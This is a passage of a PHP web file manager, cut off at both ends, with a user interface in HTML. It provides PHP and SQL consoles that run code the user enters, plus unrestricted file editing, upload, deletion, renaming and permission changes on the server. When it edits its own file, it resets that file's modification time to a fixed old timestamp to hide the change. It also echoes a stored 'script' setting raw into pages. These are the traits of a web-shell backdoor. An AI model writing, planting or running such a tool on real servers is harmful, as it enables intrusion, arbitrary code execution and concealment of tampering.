Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
